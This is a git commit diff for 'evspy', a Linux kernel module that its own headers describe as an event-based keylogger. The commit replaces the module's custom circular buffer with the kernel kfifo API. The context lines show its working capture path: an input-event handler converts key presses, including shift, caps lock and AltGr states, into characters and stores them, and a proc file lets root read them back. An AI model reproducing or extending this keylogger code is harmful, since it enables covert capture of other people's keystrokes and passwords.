First version of cbuf.c and cbuf.h

Switching to standard kfifo.h Linux circular buffer implementation

5 files changed, 112 insertions, 102 deletions

diff --git a/Makefile b/Makefile
index 573b77f..90f40ae 100644
--- a/Makefile
+++ b/Makefile
@@ -1,5 +1,5 @@
 obj-m += evspy.o
-evspy-objs := kmap/kmap.o evspy-core.o
+evspy-objs := kmap/kmap.o evspy-core.o cbuf.o
 
 all:
 	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
diff --git a/cbuf.c b/cbuf.c
new file mode 100644
index 0000000..6447ae1
--- /dev/null
+++ b/cbuf.c
@@ -0,0 +1,55 @@
+/*
+ *   evspy - event based keylogger (Linux module)
+ *
+ *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/kfifo.h>
+#include "cbuf.h"
+
+DECLARE_KFIFO(cbuffer, char, CBUF_SIZE);
+
+void cbuf_init(void)
+{
+	INIT_KFIFO(cbuffer);
+}
+
+int cbuf_read(char *to, int count, int *eof)
+{
+	int tmp = kfifo_len(&cbuffer);
+	unsigned int n = min(tmp, count);	// TODO n = count?
+
+	n = kfifo_out(&cbuffer, to, n);
+
+	if (kfifo_is_empty(&cbuffer))
+		*eof = 1;
+
+	return n;
+}
+
+void cbuf_write(char c)
+{
+	/*
+	 * The kfifo implementation doesn't allow to write in a full buffer, so if
+	 * we want to do it anyway, we must first delete the last element
+	 */
+	if (kfifo_is_full(&cbuffer))
+		kfifo_skip(&cbuffer);
+	kfifo_put(&cbuffer, &c);
+}
diff --git a/cbuf.h b/cbuf.h
new file mode 100644
index 0000000..a996cee
--- /dev/null
+++ b/cbuf.h
@@ -0,0 +1,36 @@
+/*
+ *   evspy - event based keylogger (Linux module)
+ *
+ *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef _EVS_CBUF_H
+#define _EVS_CBUF_H
+
+
+#include <asm/page.h>
+
+#define CBUF_SIZE		PAGE_SIZE			// size of the circular buffer (4K)
+
+void cbuf_init(void);
+int cbuf_read(char *to, int count, int *eof);
+void cbuf_write(char c);
+
+
+#endif		/* _EVS_CBUF_H */
diff --git a/evspy-core.c b/evspy-core.c
index b33fd27..58625a2 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -21,14 +21,11 @@
  */
 
 #include "evspy-core.h"
+#include "cbuf.h"
 
 
-static char *buffer;		// circular buffer
-static char *rdp;			// read pointer
-static char *wrp;			// write pointer
 static unsigned short int capslock_on = 0;
 static unsigned short int shift_on = 0;
-
 #ifdef EVS_ALTGR_ENABLED
 static unsigned short int altgr_on = 0;
 #endif
@@ -39,10 +36,7 @@ static unsigned short int altgr_on = 0;
 static int evspy_read_proc(char *page, char **start, off_t offset, int count,
 		int *eof, void *data)
 {
-	int n, toend;
-	int retval = 0;
-	int diff = wrp - rdp;
-
+	int n;
 	// root only plz
 	if (current_uid() || current_euid()) {
 #if EVS_TROLL == 1
@@ -55,35 +49,7 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
 #endif
 	}
 
-	// wrp > rdp: read from rdp to wrp
-	if (diff > 0) {
-		n = min(diff, count);
-		strncpy(page, rdp, n);
-		rdp += n;
-		retval = n;
-
-	// rdp > wrp: read from rdp to end of buffer and then from the beginning of
-	// the buffer to wrp
-	} else if (diff < 0) {
-		toend = (buffer + EVS_BUFSIZE) - rdp;
-		n = min(toend, count);
-		strncpy(page, rdp, n);
-		retval = n;
-
-		if (n < toend) {
-			rdp += n;
-		} else {
-			n = min(wrp - buffer, count - retval);
-			strncpy(page + retval, buffer, n);
-			retval += n;
-			rdp = buffer + n;
-		}
-	}
-
-	// wrp == rdp: buffer is empty
-	if (rdp == wrp)
-		*eof = 1;
-	return retval;
+	return cbuf_read(page, count, eof);
 }
 
 /*
@@ -173,7 +139,7 @@ static void special_char(unsigned int code, unsigned int value)
 		sp_tag[1] = '-';
 
 	while (*sp_tag)
-		evs_insert(*sp_tag++);
+		cbuf_write(*sp_tag++);
 }
 
 static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -183,10 +149,10 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
 	if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
 		return;
 
-	// Backspace
-	} else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) {
-		evs_backspace();
-		return;
+//	// Backspace
+//	} else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) {
+//		evs_backspace();
+//		return;
 
 	// Special/unknown keys (alt, ctrl, esc, shift, etc)
 	} else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) {
@@ -196,13 +162,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
 	} else if (value == EVS_VAL_PRESS) {
 #ifdef EVS_ALTGR_ENABLED
 		if (altgr_on)
-			evs_insert(evs_altgr(code));
+			cbuf_write(evs_altgr(code));
 		else
 #endif
 		if (shift_on || capslock_on)
-			evs_insert(evs_shift(code));
+			cbuf_write(evs_shift(code));
 		else
-			evs_insert(map[code]);
+			cbuf_write(map[code]);
 	}
 }
 
@@ -266,15 +232,13 @@ static int __init evspy_init(void)
 #ifdef EVS_ALTGR_ENABLED
 	init_altgrmap();
 #endif
-	buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
-	rdp = wrp = buffer;
-	return !buffer || input_register_handler(&evspy_handler);
+	cbuf_init();
+	return input_register_handler(&evspy_handler);
 }
 
 static void __exit evspy_exit(void)
 {
 	input_unregister_handler(&evspy_handler);
-	kfree(buffer);
 #ifdef EVS_ALTGR_ENABLED
 	exit_altgrmap();
 #endif
diff --git a/evspy-core.h b/evspy-core.h
index dfc0b2e..e9727f4 100644
--- a/evspy-core.h
+++ b/evspy-core.h
@@ -52,61 +52,16 @@
 #define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
 
 /*
- * If pointer is at the end of buffer, put it at the beginning.
- * If not, simply add 1 to it.
- */
-#define evs_incp(p)		\
-({		\
-	if ((p) == &buffer[EVS_BUFSIZE-1])		\
-		(p) = buffer;		\
-	else		\
-		(p)++;		\
- 	(p);		\
-})
-
-/*
- * Same as evs_incp but backwards
- */
-#define evs_decp(p)		\
-({		\
-	if ((p) == buffer)		\
-		(p) = &buffer[EVS_BUFSIZE-1];		\
-	else		\
-		(p)--;		\
- 	(p);		\
-})
-
-/*
- * Insert character c where wrp is pointing and move it to the next char.
- * If rdp == wrp, increase rdp too.
- */
-#define evs_insert(c)		\
-({		\
-	*wrp = (c);		\
-	if (evs_incp(wrp) == rdp)		\
-		evs_incp(rdp);		\
-})
-
-/*
- * Remove a character from the buffer
- */
-#define evs_delete()		\
-({		\
-	if (likely(wrp != rdp))		\
-		evs_decp(wrp);		\
-})
-
-/*
  * Try to delete the last char inserted. If it is a special key ("[KEY]"),
  * insert "[<<]" instead
  */
-#define evs_backspace()		\
-({		\
-	if (*(wrp-1) != ']')		\
-		evs_delete();		\
-	else		\
-		special_char(KEY_BACKSPACE, EVS_VAL_PRESS);		\
-})
+//#define evs_backspace()		\
+//({		\
+//	if (*(wrp-1) != ']')		\
+// 
+//	else		\
+//		special_char(KEY_BACKSPACE, EVS_VAL_PRESS);		\
+//})
 
 /*
  * Is the c event code associated to any of the FX buttons?